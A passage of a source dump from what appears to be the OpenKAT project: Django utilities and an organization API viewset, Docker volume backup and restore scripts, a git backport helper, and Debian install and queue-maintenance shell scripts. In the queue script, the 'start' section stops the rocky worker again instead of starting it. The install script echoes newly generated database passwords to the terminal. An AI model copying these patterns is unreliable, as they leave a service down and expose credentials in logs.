    "content": "import uuid\nfrom datetime import date, datetime, timezone\nfrom typing import Any, TypedDict\nfrom urllib.parse import urlencode, urlparse, urlunparse\n\nfrom django.http import HttpRequest\nfrom django.http.response import HttpResponseRedirectBase\nfrom django.urls.base import reverse, reverse_lazy\nfrom django.utils.functional import Promise\nfrom django.utils.translation import gettext_lazy as _\n\nfrom octopoes.models.types import OOI_TYPES\nfrom tools.models import Organization\n\n\ndef convert_date_to_datetime(d: date) -> datetime:\n    # returning 23:59 of date_object in UTC timezone\n    return datetime.combine(d, datetime.max.time(), tzinfo=timezone.utc)\n\n\ndef get_mandatory_fields(request: HttpRequest, params: list[str] | None = None) -> list:\n    mandatory_fields = []\n\n    if not params:\n        params = [\"observed_at\", \"depth\", \"view\"]\n\n        for type_ in request.GET.getlist(\"ooi_type\", []):\n            mandatory_fields.append((\"ooi_type\", type_))\n\n    for param in params:\n        if param in request.GET:\n            mandatory_fields.append((param, request.GET.get(param)))\n\n    return mandatory_fields\n\n\ndef generate_job_id():\n    return str(uuid.uuid4())\n\n\ndef url_with_querystring(path: str, doseq: bool = False, /, **kwargs: Any) -> str:\n    parsed_route = urlparse(path)\n\n    return str(\n        urlunparse(\n            (\n                parsed_route.scheme,\n                parsed_route.netloc,\n                parsed_route.path,\n                parsed_route.params,\n                urlencode(kwargs, doseq),\n                parsed_route.fragment,\n            )\n        )\n    )\n\n\ndef get_ooi_url(routename: str, ooi_id: str, organization_code: str, **kwargs: Any) -> str:\n    if ooi_id:\n        kwargs[\"ooi_id\"] = ooi_id\n\n    if \"query\" in kwargs:\n        kwargs[\"query\"] = {key: value for key, value in kwargs[\"query\"] if key not in kwargs}\n        kwargs.update(kwargs[\"query\"])\n\n        del kwargs[\"query\"]\n\n    return url_with_querystring(reverse(routename, kwargs={\"organization_code\": organization_code}), **kwargs)\n\n\ndef existing_ooi_type(ooi_type: str) -> bool:\n    if not ooi_type:\n        return False\n\n    return ooi_type in [x.__name__ for x in OOI_TYPES.values()]\n\n\nclass Breadcrumb(TypedDict):\n    text: str | Promise\n    url: str\n\n\nclass BreadcrumbsMixin:\n    breadcrumbs: list[Breadcrumb] = []\n\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        return self.breadcrumbs.copy()\n\n    def get_context_data(self, **kwargs):\n        # Mypy doesn't understand the way mixins are used\n        context = super().get_context_data(**kwargs)  # type: ignore[misc]\n        context[\"breadcrumbs\"] = self.build_breadcrumbs()\n        return context\n\n\nclass Step(TypedDict):\n    text: str\n    url: str\n\n\nclass StepsMixin:\n    request: HttpRequest\n    steps: list[Step] = []\n    current_step: int | None = None\n\n    def get_current_step(self):\n        if self.current_step is None:\n            return int(self.request.GET.get(\"current_step\"))\n        return self.current_step\n\n    def set_current_stepper_url(self, url):\n        self.steps[self.get_current_step() - 1][\"url\"] = url\n\n    def build_steps(self) -> list[Step]:\n        return self.steps.copy()\n\n    def get_context_data(self, **kwargs):\n        # Mypy doesn't understand the way mixins are used\n        context = super().get_context_data(**kwargs)  # type: ignore[misc]\n        context[\"steps\"] = self.build_steps()\n        context[\"current_step\"] = self.get_current_step()\n\n        return context\n\n\nclass OrganizationBreadcrumbsMixin(BreadcrumbsMixin):\n    breadcrumbs = [{\"url\": reverse_lazy(\"organization_list\"), \"text\": _(\"Organizations\")}]\n\n\nclass OrganizationDetailBreadcrumbsMixin(BreadcrumbsMixin):\n    organization: Organization\n\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        return [\n            {\n                \"url\": reverse(\"organization_settings\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Settings\"),\n            }\n        ]\n\n\nclass OrganizationMemberBreadcrumbsMixin(BreadcrumbsMixin):\n    organization: Organization\n\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        return [\n            {\n                \"url\": reverse(\"organization_member_list\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Members\"),\n            }\n        ]\n\n\nclass ObjectsBreadcrumbsMixin(BreadcrumbsMixin):\n    organization: Organization\n\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        return [\n            {\n                \"url\": reverse_lazy(\"ooi_list\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Objects\"),\n            }\n        ]\n\n\nclass PostRedirect(HttpResponseRedirectBase):\n    status_code = 307\n"
  },
  {
    "path": "rocky/tools/viewsets.py",
    "content": "from django.conf import settings\nfrom katalogus.client import get_katalogus_client\nfrom katalogus.exceptions import KATalogusException\nfrom rest_framework import status, viewsets\nfrom rest_framework.decorators import action\nfrom rest_framework.exceptions import PermissionDenied\nfrom rest_framework.response import Response\nfrom structlog import get_logger\n\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom rocky.exceptions import OctopoesException\nfrom rocky.signals import _get_healthy_katalogus, _get_healthy_octopoes\nfrom tools.models import Indemnification, Organization\nfrom tools.permissions import CanRecalculateBits, CanSetKatalogusSettings\nfrom tools.serializers import OrganizationSerializer, OrganizationSerializerReadOnlyCode, ToOrganizationSerializer\n\nlogger = get_logger(__name__)\n\n\nclass OrganizationViewSet(viewsets.ModelViewSet):\n    queryset = Organization.objects.all()\n    serializer_class = OrganizationSerializer\n    # When we created this viewset we didn't have pagination enabled in the\n    # django-rest-framework settings. Enabling it afterwards would cause the API\n    # to change in an incompatible way, we should enable this when we introduce\n    # a new API version.\n    pagination_class = None\n\n    # Unfortunately django-rest-framework doesn't have support for create only\n    # fields so we have to change the serializer class depending on the request\n    # method.\n    def get_serializer_class(self):\n        serializer_class = self.serializer_class\n        if self.request.method != \"POST\":\n            serializer_class = OrganizationSerializerReadOnlyCode\n        return serializer_class\n\n    def destroy(self, request, *args, **kwargs):\n        instance = self.get_object()\n        katalogus_client = _get_healthy_katalogus()\n        octopoes_client = _get_healthy_octopoes(instance.code)\n\n        try:\n            octopoes_client.delete_node()\n        except Exception as e:\n            raise OctopoesException(\"Failed deleting organization in Octopoes\") from e\n\n        try:\n            katalogus_client.delete_organization(instance.code)\n        except Exception as e:\n            try:\n                octopoes_client.create_node()\n            except Exception as second_exception:\n                raise OctopoesException(\"Failed creating organization in Octopoes\") from second_exception\n\n            raise KATalogusException(\"Failed deleting organization in the Katalogus\") from e\n\n        return super().destroy(request, *args, **kwargs)\n\n    @action(detail=True, permission_classes=[])\n    def indemnification(self, request, pk=None):\n        # DRF does not support different arguments when mapping POST/GET of the\n        # same endpoint to a different method, so we can't use the\n        # permission_classes argument here.\n        if not request.user.has_perm(\"tools.view_organization\"):\n            raise PermissionDenied()\n\n        organization = self.get_object()\n        indemnification = Indemnification.objects.filter(organization=organization).first()\n\n        if indemnification:\n            return Response({\"indemnification\": True, \"user\": indemnification.user.pk})\n        else:\n            return Response({\"indemnification\": False, \"user\": None})\n\n    @indemnification.mapping.post\n    def set_indemnification(self, request, pk=None):\n        if not request.user.has_perm(\"tools.add_indemnification\"):\n            raise PermissionDenied()\n\n        organization = self.get_object()\n\n        indemnification = Indemnification.objects.filter(organization=organization).first()\n        if indemnification:\n            return Response({\"indemnification\": True, \"user\": indemnification.user.pk}, status=status.HTTP_409_CONFLICT)\n\n        indemnification = Indemnification.objects.create(organization=organization, user=self.request.user)\n\n        return Response({\"indemnification\": True, \"user\": indemnification.user.pk}, status=status.HTTP_201_CREATED)\n\n    @action(detail=True, methods=[\"post\"], permission_classes=[CanRecalculateBits])\n    def recalculate_bits(self, request, pk=None):\n        organization = self.get_object()\n        logger.info(\"Recalculating bits\", event_code=920000, organization_code=organization.code)\n        connector = OctopoesAPIConnector(\n            settings.OCTOPOES_API, organization.code, timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT\n        )\n        number_of_bits = connector.recalculate_bits()\n\n        return Response({\"number_of_bits\": number_of_bits})\n\n    @action(detail=True, methods=[\"post\"], permission_classes=[CanSetKatalogusSettings])\n    def clone_katalogus_settings(self, request, pk=None):\n        from_organization = self.get_object()\n\n        serializer = ToOrganizationSerializer(data=request.data)\n        if serializer.is_valid():\n            to_organization = serializer.validated_data[\"to_organization\"]\n            get_katalogus_client().clone_all_configuration_to_organization(from_organization.code, to_organization.code)\n\n            return Response()\n        else:\n            return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n"
  },
  {
    "path": "rocky/whitelist.py",
    "content": "# mypy: ignore-errors\nsender  # unused variable (tools/models.py:90)\n"
  },
  {
    "path": "scripts/backup/backup-volumes.sh",
    "content": "#!/usr/bin/env bash\nset -eu\n# creates a backup of the docker volumes\n\ngenerate_uuid() {\n    if command -v uuidgen > /dev/null 2>&1; then\n        uuidgen\n    elif [ -f /proc/sys/kernel/random/uuid ]; then\n        cat /proc/sys/kernel/random/uuid\n    else\n        printf \"Error: no UUID generator found\\n\" >&2\n        exit 1\n    fi\n}\n\nusage() {\n    printf \"Usage: %s -p <path> [-n <project-name>]\\n\" \"$(basename \"$0\")\"\n    printf \"  -p | --path       path where the backups are stored\\n\"\n    printf \"  -n | --project    docker compose project name\\n\"\n    printf \"                    (default: \\$COMPOSE_PROJECT_NAME or current directory name)\\n\"\n    exit 0\n}\n\nwhile [ $# -gt 0 ]; do\n    case \"$1\" in\n    -p | --path)\n        backup_path=\"$2\"\n        shift\n        ;;\n    -n | --project)\n        project_name=\"$2\"\n        shift\n        ;;\n    -h | -help | --help)\n        usage\n        ;;\n    *)\n        printf \"*******************************\\n\"\n        printf \"* Error: Invalid argument: %s *\\n\" \"$1\"\n        printf \"*******************************\\n\"\n        exit 1\n        ;;\n    esac\n    shift\ndone\n\nif [ -z \"${backup_path:-}\" ]; then\n    printf \"Error: --path is required\\n\" >&2\n    exit 1\nfi\n\n# Determine project name for docker volume filtering.\n# Mirrors docker compose behavior: env var, then current directory name.\nif [ -z \"${project_name:-}\" ]; then\n    project_name=\"${COMPOSE_PROJECT_NAME:-$(basename \"$(pwd)\")}\"\nfi\n\nvolumes=\"$(docker volume ls --filter \"name=${project_name}_\" --quiet)\"\n\nif [ -z \"$volumes\" ]; then\n    printf \"No volumes found for project '%s'\\n\" \"$project_name\"\n    exit 0\nfi\n\nfor volume in $volumes; do\n    uuid=\"$(generate_uuid)\"\n    if [ ! -d \"$backup_path/$volume\" ]; then\n        mkdir -p \"$backup_path/$volume\"\n    fi\n\n    IMAGE=alpine:latest\n    docker create \\\n        --mount \"type=volume,src=${volume},dst=/data\" \\\n        --name \"$uuid\" \\\n        \"$IMAGE\"\n\n    # Clean up container on failure\n    trap 'rm -rf \"/tmp/$uuid\"; docker rm \"$uuid\" >/dev/null 2>&1' EXIT\n\n    timestamp=\"$(date +%Y-%m-%d_%H%M%S)\"\n    docker cp -a \"$uuid:/data\" \"/tmp/$uuid\"\n    tar -C \"/tmp/$uuid\" -czf \"$backup_path/$volume/${timestamp}_${volume}.tar.gz\" .\n    rm -rf \"/tmp/$uuid\"\n    docker rm \"$uuid\"\n\n    trap - EXIT\ndone\n"
  },
  {
    "path": "scripts/backup/restore-volumes.sh",
    "content": "#!/usr/bin/env bash\n# creates a docker volume from a backup\nset -eu\n\ngenerate_uuid() {\n    if command -v uuidgen > /dev/null 2>&1; then\n        uuidgen\n    elif [ -f /proc/sys/kernel/random/uuid ]; then\n        cat /proc/sys/kernel/random/uuid\n    else\n        printf \"Error: no UUID generator found\\n\" >&2\n        exit 1\n    fi\n}\n\n# Cross-platform stat: get modification time in unix epoch seconds\nget_mtime() {\n    if stat --version > /dev/null 2>&1; then\n        # GNU stat (Linux)\n        stat --format=\"%Y\" \"$1\"\n    else\n        # BSD stat (macOS)\n        stat -f \"%m\" \"$1\"\n    fi\n}\n\nusage() {\n    printf \"Usage: %s -v <volume> -p <path> [-n <volume-name>] [-s <snapshot>]\\n\" \"$(basename \"$0\")\"\n    printf \"  -v | --volume       the volume name in the backup\\n\"\n    printf \"  -n | --volume-name  (optional) create the restore as this new volume name\\n\"\n    printf \"  -p | --path         the storage path of the backup location\\n\"\n    printf \"  -s | --snapshot     the snapshot to restore\\n\"\n    exit 0\n}\n\nwhile [ $# -gt 0 ]; do\n    case \"$1\" in\n    -v | -volume | --volume)\n        volume=\"$2\"\n        shift\n        ;;\n    -p | -path | --path)\n        backup_path=\"$2\"\n        shift\n        ;;\n    -n | -volume-name | --volume-name)\n        volume_name=\"$2\"\n        shift\n        ;;\n    -s | -snapshot | --snapshot)\n        snapshot=\"$2\"\n        shift\n        ;;\n    -h | -help | --help)\n        usage\n        ;;\n    *)\n        printf \"***************************\\n\"\n        printf \"* Error: Invalid argument.*\\n\"\n        printf \"***************************\\n\"\n        exit 1\n        ;;\n    esac\n    shift\ndone\n\nif [ -z \"${volume:-}\" ]; then\n    printf \"Error: --volume is required\\n\"\n    exit 1\nfi\n\nif [ -z \"${backup_path:-}\" ]; then\n    printf \"Error: --path is required\\n\"\n    exit 1\nfi\n\nif [ -z \"${volume_name:-}\" ]; then\n    volume_name=\"$volume\"\nfi\n\nif docker volume inspect \"$volume_name\" > /dev/null 2>&1; then\n    printf \"***********************************\\n\"\n    printf \"Error: volume %s exists. \\n\" \"$volume_name\"\n    printf \"Please delete before proceeding    \\n\"\n    printf \"***********************************\\n\"\n    exit 1\nfi\n\n# If no snapshot is given, find the newest snapshot in the backup_path/volume\n# Does not use ls in order to keep doing the correct thing even with special\n# characters like newlines in the filenames.\nif [ -z \"${snapshot:-}\" ]; then\n    NEWEST=0\n    for dirent in \"${backup_path}/${volume}\"/*; do\n        # Get the modification time of the directory entry with stat in unix time\n        MTIME=\"$(get_mtime \"$dirent\")\"\n        if [ \"$MTIME\" -gt \"$NEWEST\" ]; then\n            NEWEST=\"$MTIME\"\n            snapshot=\"$dirent\"\n        fi\n    done\n    snapshot=\"$(basename \"$snapshot\")\"\nfi\n\nif [ -z \"${snapshot:-}\" ]; then\n    printf \"**********************************\\n\"\n    printf \"* Error: Unable to find snapshot.*\\n\"\n    printf \"**********************************\\n\"\n    exit 1\nelse\n    echo \"creating from snapshot: ${snapshot}\"\nfi\n\nuuid=\"$(generate_uuid)\"\ndir=\"$(mktemp -d)\"\n\n# Clean up temp directory and container on exit\ntrap 'rm -rf \"$dir\"; docker rm \"$uuid\" >/dev/null 2>&1' EXIT\n\nIMAGE=alpine:latest\ndocker create \\\n    --mount \"type=volume,src=${volume_name},dst=/data\" \\\n    --name \"$uuid\" \\\n    \"$IMAGE\"\n\ntar -xf \"$backup_path/$volume/$snapshot\" -C \"$dir\"\ndocker cp -a \"$dir/.\" \"$uuid:/data\"\n"
  },
  {
    "path": "scripts/development/backport.py",
    "content": "#!/usr/bin/env python3\n\nimport argparse\nimport sys\nfrom pathlib import Path\n\nimport yaml\nfrom git import Repo\nfrom gitdb.exc import BadName\nfrom github import Github\n\n\ndef get_pr_num_from_message(message):\n    title = message.split(\"\\n\")[0]\n    if \"(#\" not in title:\n        return None\n\n    return int(title.split(\"(#\")[-1].strip(\")\"))\n\n\ndef get_commit_and_pr(repo, commit_or_pr):\n    # Make sure we have the latest version of the main branch to search for the\n    # commit\n    repo.heads[\"main\"].checkout()\n    repo.remotes[\"origin\"].pull()\n\n    try:\n        # If argument is an integer treat it as PR number, else commit ID\n        pr = int(commit_or_pr)\n    except ValueError:\n        try:\n            commit = repo.commit(commit_or_pr)\n            pr = get_pr_num_from_message(commit.message)\n        except BadName:\n            # Lookup commit ID\n            print(f\"Can't find commit {commit_or_pr}\")\n            sys.exit(1)\n    else:\n        for commit in repo.iter_commits(\"main\"):\n            if get_pr_num_from_message(commit.message) == pr:\n                break\n        else:\n            print(f\"Can't find PR {pr}\")\n            sys.exit(1)\n\n    return commit, pr\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser(\n        description=\"Backport PR to release branch. Will cherry pick the commit and create GitHub PR.\"\n    )\n    parser.add_argument(\"release\", type=str, help=\"Release to backport to\")\n    parser.add_argument(\"commit_or_pr\", type=str, help=\"Commit ID or PR number to backport\")\n    return parser.parse_args()\n\n\ndef main():\n    args = parse_args()\n\n    repo = Repo(\".\")\n    commit, pr = get_commit_and_pr(repo, args.commit_or_pr)\n\n    branch_name = f\"backport-{pr}-{args.release}\"\n\n    release_branch = f\"release-{args.release}\"\n\n    if branch_name in repo.heads:\n        print(f\"Not creating branch {branch_name} because it already exists\")\n        repo.heads[branch_name].checkout()\n    else:\n        # Checkout release branch\n        repo.heads[release_branch].checkout()\n\n        # Make sure we have the latest release of the release branch\n        repo.remotes[\"origin\"].pull()\n\n        new_branch = repo.create_head(branch_name)\n        new_branch.checkout()\n\n        repo.git.cherry_pick(commit)\n\n    repo.remotes[\"origin\"].push()\n\n    with (Path.home() / \".config\" / \"gh\" / \"hosts.yml\").open() as f:\n        token = yaml.safe_load(f.read())[\"github.com\"][\"oauth_token\"]\n\n    g = Github(token)\n\n    # Remote can be of the form https://github.com/user/repo.git or git@github.com:user/repo.git\n    github_repo = repo.remotes[\"origin\"].url.replace(\"https://github.com/\", \"\").replace(\"git@github.com:\", \"\")\n    github_repo = github_repo.removesuffix(\".git\")\n\n    repo = g.get_repo(github_repo)\n\n    orig_title = commit.message.split(\"\\n\")[0]\n    title = orig_title.replace(f\"#{pr}\", args.release)\n    body = f\"Backport of #{pr} to release {args.release}\"\n\n    created_pr = repo.create_pull(title=title, body=body, head=branch_name, base=release_branch)\n\n    print(\"Successfully created PR:\", created_pr.html_url)\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "scripts/installation/openkat-empty-job-queue.sh",
    "content": "#!/bin/bash\n\n# Stop openKAT\necho \"Stopping openKAT processes\"\nsudo systemctl stop xtdb-http-multinode kat-rocky kat-mula kat-bytes kat-boefjes kat-normalizers kat-katalogus kat-octopoes kat-octopoes-worker\n\n# Kat-rocky-worker service was introduced in OpenKAT 1.18\nif [ -f /usr/lib/systemd/system/kat-rocky-worker.service ]; then\n    sudo systemctl stop kat-rocky-worker\nfi\n\n# Start postgres, switch to the mula_db and empty the job queue\necho \"Emptying job queue\"\nsudo -u postgres psql mula_db > /dev/null << 'EOF'\nUPDATE tasks SET status = 'CANCELLED' WHERE status = 'PENDING' and created_at < current_date\n\\q\nEOF\n\n# Start openKAT\necho \"Starting openKAT processes\"\nsudo systemctl start xtdb-http-multinode kat-rocky kat-mula kat-bytes kat-boefjes kat-normalizers kat-katalogus kat-octopoes kat-octopoes-worker\n\n# Kat-rocky-worker service was introduced in OpenKAT 1.18\nif [ -f /usr/lib/systemd/system/kat-rocky-worker.service ]; then\n    sudo systemctl stop kat-rocky-worker\nfi\n\necho \"End of script. It might take a few more seconds for OpenKAT to be fully started and available.\"\n"
  },
  {
    "path": "scripts/installation/openkat-install.sh",
    "content": "#!/bin/bash\n\n# Installation script for Debian. The script matches the instructions on\n# https://docs.openkat.nl/installation_and_deployment/debianinstall.html\n\nset -e\n\nsource /etc/os-release\n\nif [ \"$ID\" != \"debian\" ]; then\n    echo \"The installation script is only supported on Debian\"\n    exit 1\nfi\n\n# Check Debian version\nif [ \"$VERSION_ID\" != \"12\" ]; then\n    echo \"Only Debian version 12 is supported\"\n    exit 1\nfi\n\n# Checking if we don't have too many parameters\nif [ $# -gt 2 ]; then\n    echo \"Usage: $0 [openKAT version] [no_super_user]\"\n    exit 1\nfi\n\ndebian_version=$VERSION_ID\n\necho \"Step 0 - Preparations\"\n\necho \"Step 0.1 - Removing old install/upgrade files, update system and install curl & sudo when needed...\"\nrm -f kat-*.deb kat-debian1[12]-*.tar.gz xtdb-*.deb\n\necho \"Step 0.2 - Update OS and get needed tools\"\nif ! command -v sudo; then\n    if [ \"$EUID\" -ne 0 ]; then\n        echo \"Sudo could not be found, please first install sudo as root\"\n        exit 1\n    fi\n    apt -y update\n    apt -y install sudo\nfi\n\nsudo apt -y update\nsudo apt -y install curl\n\necho \"Step 1 - Determine latest xtdb-http-multinode and OpenKAT versions\"\n\n# The URL of the latest xtdb-http-multinode release\nxtdb_url='https://github.com/underdarknl/xtdb-http-multinode/releases/latest'\n\n# The URL of the latest OpenKAT release\nopenkat_url='https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/releases/latest'\n\nxtdb_version=$(curl -sL $xtdb_url | grep -m 1 -Po \"(?<=tag\\/)v[0-9\\.]*(?=\\\")\" | sed 's/^v//')\n\nif [ $# -eq 0 ]; then\n    # Get the latest version of OpenKAT if no version is specified\n    openkat_version=$(curl -sL $openkat_url | grep -m 1 -Po \"(?<=tag\\/)v[0-9\\.]*(?=\\\")\" | sed 's/^v//')\nelse\n    openkat_version=$1\nfi\n\necho \"Step 2 - Download OpenKAT and xtdb-http-multinode\"\n\necho \"Step 2.1 - Downloading xtdb-http-multinode version $xtdb_version...\"\ncurl -LO \"https://github.com/underdarknl/xtdb-http-multinode/releases/download/v${xtdb_version}/xtdb-http-multinode_${xtdb_version}_all.deb\"\n\necho \"Step 2.2 - Downloading OpenKAT version $openkat_version...\"\ncurl -LO \"https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/releases/download/v${openkat_version}/kat-debian${debian_version}-${openkat_version}.tar.gz\"\n\necho \"Step 3 - Install OpenKAT and xtdb\"\ntar zvxf kat-*.tar.gz\nsudo apt install -y --no-install-recommends ./kat-*_amd64.deb ./xtdb-http-multinode_*_all.deb\n\necho \"Step 4 - Setup postgres databases\"\nsudo apt -y install postgresql\n\nsudo systemctl start postgresql\n\necho \"Step 4.1 - Generating Passwords\"\nROCKY_DB_PASSWORD=$(tr -dc A-Za-z0-9 < /dev/urandom | head -c 20)\nexport ROCKY_DB_PASSWORD\nKATALOGUSDB_PASSWORD=$(tr -dc A-Za-z0-9 < /dev/urandom | head -c 20)\nexport KATALOGUSDB_PASSWORD\nBYTESDB_PASSWORD=$(tr -dc A-Za-z0-9 < /dev/urandom | head -c 20)\nexport BYTESDB_PASSWORD\nRABBITMQ_PASSWORD=$(tr -dc A-Za-z0-9 < /dev/urandom | head -c 20)\nexport RABBITMQ_PASSWORD\nMULADB_PASSWORD=$(tr -dc A-Za-z0-9 < /dev/urandom | head -c 20)\nexport MULADB_PASSWORD\n\necho \"Step 4.2 - Saving Passwords to passwords.txt\"\numask=$(umask)\numask 0077\n\ncat > passwords.txt << EOF\nROCKY_DB_PASSWORD=${ROCKY_DB_PASSWORD}\nKATALOGUSDB_PASSWORD=${KATALOGUSDB_PASSWORD}\nBYTESDB_PASSWORD=${BYTESDB_PASSWORD}\nRABBITMQ_PASSWORD=${RABBITMQ_PASSWORD}\nMULADB_PASSWORD=${MULADB_PASSWORD}\nEOF\n\n# restore umask\numask \"${umask}\"\n\n# This will prevent \"could not change directory\" errors due to permissions when\n# using sudo\npushd /\n\necho \"Step 4.3 - Rocky DB\"\nif ! sudo -u postgres psql -lqt | cut -d \\| -f 1 | grep -q rocky_db; then\n    echo \"Create rocky_db...\"\n    sudo -u postgres createdb rocky_db\nfi\n\nif [ ! \"$(sudo -u postgres psql -qtAc \"SELECT 1 FROM pg_roles WHERE rolname='rocky'\")\" ]; then\n    echo \"Create rocky user with password ${ROCKY_DB_PASSWORD}...\"\n    sudo -u postgres psql -c \"CREATE USER rocky WITH PASSWORD '${ROCKY_DB_PASSWORD}';\"\n\n    echo \"Grant database rocky_db to rocky user...\"\n    sudo -u postgres psql -c 'GRANT ALL ON SCHEMA public TO rocky;' rocky_db\nelse\n    echo \"Change password rocky user to ${ROCKY_DB_PASSWORD}...\"\n    sudo -u postgres psql -c \"ALTER USER rocky WITH PASSWORD '${ROCKY_DB_PASSWORD}';\"\nfi\n\necho \"Step 4.4 - KAT-alogus DB\"\nif ! sudo -u postgres psql -lqt | cut -d \\| -f 1 | grep -q katalogus_db; then\n    echo \"Create katalogus_db...\"\n    sudo -u postgres createdb katalogus_db\nfi\n\nif [ ! \"$(sudo -u postgres psql -qtAc \"SELECT 1 FROM pg_roles WHERE rolname='katalogus'\")\" ]; then\n    echo \"Create katalogus user with password ${KATALOGUSDB_PASSWORD}...\"\n    sudo -u postgres psql -c \"CREATE USER katalogus WITH PASSWORD '${KATALOGUSDB_PASSWORD}';\"\n\n    echo \"Grant database katalogus_db to katalogus user...\"\n    sudo -u postgres psql -c 'GRANT ALL ON SCHEMA public TO katalogus;' katalogus_db\nelse\n    echo \"Change password katalogus user to ${KATALOGUSDB_PASSWORD}...\"\n    sudo -u postgres psql -c \"ALTER USER katalogus WITH PASSWORD '${KATALOGUSDB_PASSWORD}';\"\nfi\n\necho \"Step 4.5 - Bytes DB\"\nif ! sudo -u postgres psql -lqt | cut -d \\| -f 1 | grep -q bytes_db; then\n    echo \"Create bytes_db...\"\n    sudo -u postgres createdb bytes_db\nfi\n\nif [ ! \"$(sudo -u postgres psql -qtAc \"SELECT 1 FROM pg_roles WHERE rolname='bytes'\")\" ]; then\n    echo \"Create bytes user with password ${BYTESDB_PASSWORD}...\"\n    sudo -u postgres psql -c \"CREATE USER bytes WITH PASSWORD '${BYTESDB_PASSWORD}';\"\n\n    echo \"Grant database bytes_db to bytes user...\"\n    sudo -u postgres psql -c 'GRANT ALL ON SCHEMA public TO bytes;' bytes_db\nelse\n    echo \"Change password bytes user to ${BYTESDB_PASSWORD}...\"\n    sudo -u postgres psql -c \"ALTER USER bytes WITH PASSWORD '${BYTESDB_PASSWORD}';\"\nfi\n\necho \"Step 4.5b - Mula DB\"\nif ! sudo -u postgres psql -lqt | cut -d \\| -f 1 | grep -q mula_db; then\n    echo \"Create mula_db...\"\n    sudo -u postgres createdb mula_db\nfi\n\nif [ ! \"$(sudo -u postgres psql -qtAc \"SELECT 1 FROM pg_roles WHERE rolname='mula'\")\" ]; then\n    echo \"Create mula user with password ${MULADB_PASSWORD}...\"\n    sudo -u postgres psql -c \"CREATE USER mula WITH PASSWORD '${MULADB_PASSWORD}';\"\n\n    echo \"Grant database muladb to mula user...\"\n    sudo -u postgres psql -c 'GRANT ALL ON SCHEMA public TO mula;' mula_db\nelse\n    echo \"Change password mula user to ${MULADB_PASSWORD}...\"\n    sudo -u postgres psql -c \"ALTER USER mula WITH PASSWORD '${MULADB_PASSWORD}';\"\nfi\n\npopd\n\necho Step 4.6 - Update configs\necho \"Step 4.6.1 - Update ROCKY_DB_PASSWORD in /etc/kat/rocky.conf to ${ROCKY_DB_PASSWORD}\"\nsudo sed -i \"/ROCKY_DB_PASSWORD=/s/.*/ROCKY_DB_PASSWORD=${ROCKY_DB_PASSWORD}/\" /etc/kat/rocky.conf\n\necho \"Step 4.6.2 - Update BYTES_PASSWORD in /etc/kat/bytes.conf, /etc/kat/boefjes.conf, /etc/kat/mula.conf and /etc/kat/rocky.conf to ${BYTESDB_PASSWORD}\"\nsudo sed -i \"/BYTES_PASSWORD=/s/.*/BYTES_PASSWORD=${BYTESDB_PASSWORD}/\" /etc/kat/bytes.conf\nsudo sed -i \"/BYTES_PASSWORD=/s/.*/BYTES_PASSWORD=${BYTESDB_PASSWORD}/\" /etc/kat/boefjes.conf\nsudo sed -i \"/BYTES_PASSWORD=/s/.*/BYTES_PASSWORD=${BYTESDB_PASSWORD}/\" /etc/kat/mula.conf\nsudo sed -i \"/BYTES_PASSWORD=/s/.*/BYTES_PASSWORD=${BYTESDB_PASSWORD}/\" /etc/kat/rocky.conf\n\necho \"Step 4.6.3 - Update BYTES_DB_URI in /etc/kat/bytes.conf to ${BYTESDB_PASSWORD}\"\nsudo sed -i \"/BYTES_DB_URI=/s/.*/BYTES_DB_URI=postgresql:\\/\\/bytes:${BYTESDB_PASSWORD}@localhost\\/bytes_db/\" /etc/kat/bytes.conf\n\necho \"Step 4.6.4 - Update KATALOGUS_DB_URI in /etc/kat/boefjes.conf to ${KATALOGUSDB_PASSWORD}\"\nsudo sed -i \"/KATALOGUS_DB_URI=/s/.*/KATALOGUS_DB_URI=postgresql:\\/\\/katalogus:${KATALOGUSDB_PASSWORD}@localhost\\/katalogus_db/\" /etc/kat/boefjes.conf\n\necho \"Step 4.6.5 - Update SCHEDULER_DB_URI in /etc/kat/mula.conf to ${MULADB_PASSWORD}\"\nsudo sed -i \"/SCHEDULER_DB_URI=/s/.*/SCHEDULER_DB_URI=postgresql:\\/\\/mula:${MULADB_PASSWORD}@localhost\\/mula_db/\" /etc/kat/mula.conf\n\necho \"Step 4.6.6 - Update QUEUE_URI in bytes.conf, boefjes.conf, mula.conf, octopoes.conf to ${RABBITMQ_PASSWORD}\"\nsudo sed -i \"/QUEUE_URI=/s/.*/QUEUE_URI=amqp:\\/\\/kat:${RABBITMQ_PASSWORD}@127.0.0.1:5672\\/kat/\" /etc/kat/bytes.conf\nsudo sed -i \"/QUEUE_URI=/s/.*/QUEUE_URI=amqp:\\/\\/kat:${RABBITMQ_PASSWORD}@127.0.0.1:5672\\/kat/\" /etc/kat/boefjes.conf\nsudo sed -i \"/QUEUE_URI=/s/.*/QUEUE_URI=amqp:\\/\\/kat:${RABBITMQ_PASSWORD}@127.0.0.1:5672\\/kat/\" /etc/kat/octopoes.conf\nsudo sed -i \"/QUEUE_URI=/s/.*/QUEUE_URI=amqp:\\/\\/kat:${RABBITMQ_PASSWORD}@127.0.0.1:5672\\/kat/\" /etc/kat/mula.conf\n\necho \"<v1.11 Backwards compatibility for Mula environment variables (if they exist)\"\n\necho \"Step 4.6.7B - Update SCHEDULER_RABBITMQ_DSN in /etc/kat/mula.conf to ${RABBITMQ_PASSWORD}\"\nsudo sed -i \"/SCHEDULER_RABBITMQ_DSN=/s/.*/SCHEDULER_RABBITMQ_DSN=amqp:\\/\\/kat:${RABBITMQ_PASSWORD}@127.0.0.1:5672\\/kat/\" /etc/kat/mula.conf\n\necho \"Step 4.6.8B - Update SCHEDULER_DB_DSN in /etc/kat/mula.conf to ${MULADB_PASSWORD}\"\nsudo sed -i \"/SCHEDULER_DB_DSN=/s/.*/SCHEDULER_DB_DSN=postgresql:\\/\\/mula:${MULADB_PASSWORD}@localhost\\/mula_db/\" 